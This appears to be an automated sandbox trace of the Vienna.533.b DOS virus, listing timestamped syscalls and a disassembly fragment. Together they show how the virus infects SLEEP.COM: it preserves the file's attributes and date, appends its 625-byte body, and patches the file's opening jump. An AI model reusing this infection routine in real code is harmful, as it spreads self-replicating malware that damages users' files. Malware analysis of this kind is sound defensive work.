Sample viewer

vx.netlux.org/Virus.DOS.Vienna.533.b

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:16:06.312829787Z 48 PC: 12a6b | Get DOS version
2018-12-17T22:16:06.314881465Z 47 PC: 12a77 | Get disk transfer address
2018-12-17T22:16:06.316290592Z 26 PC: 12a8a | Set disk transfer address
2018-12-17T22:16:06.318035961Z 78 PC: 12b16 | Find first file
2018-12-17T22:16:06.32477265Z 67 PC: 12b54 | Get or set file attributes
2018-12-17T22:16:06.333661696Z 67 PC: 12b67 | Get or set file attributes
2018-12-17T22:16:06.362171677Z 61 PC: 12b72 | Open file (Filename = 'SLEEP.COM')
2018-12-17T22:16:06.368714443Z 87 PC: 12b7e | Get or set file date and time
2018-12-17T22:16:06.375508651Z 44 PC: 12b8a | Get time 0x12b8a: and dh, 7
0x12b8d: mov ah, 0x3f
0x12b8f: mov cx, 3
0x12b92: mov dx, 0xa
0x12b95: nop
0x12b96: add dx, si
0x12b98: int 0x21
0x12b9a: jb 0x12bf1
0x12b9c: cmp ax, 3
0x12b9f: jne 0x12bf1
0x12ba1: mov ax, 0x4202
0x12ba4: mov cx, 0
0x12ba7: mov dx, 0
0x12baa: int 0x21
0x12bac: jb 0x12bf1
0x12bae: mov cx, ax
0x12bb0: sub ax, 3
0x12bb3: mov word ptr [si + 0xe], ax
0x12bb7: add cx, 0x2e7
0x12bbb: mov di, si
2018-12-17T22:16:06.378027358Z 63 PC: 12b9a | Read file or device (Read 3 bytes on handle 5)
2018-12-17T22:16:06.384711827Z 66 PC: 12bac | Move file pointer
2018-12-17T22:16:06.387455806Z 64 PC: 12bd0 | Write file or device (Write 625 bytes on handle 5)
2018-12-17T22:16:06.396168701Z 66 PC: 12be2 | Move file pointer
2018-12-17T22:16:06.397454674Z 64 PC: 12bf1 | Write file or device (Write 3 bytes on handle 5)
2018-12-17T22:16:06.404546414Z 87 PC: 12c06 | Get or set file date and time
2018-12-17T22:16:06.406194967Z 62 PC: 12c0a | Close file
2018-12-17T22:16:06.414440596Z 67 PC: 12c19 | Get or set file attributes
2018-12-17T22:16:06.425740489Z 26 PC: 12c26 | Set disk transfer address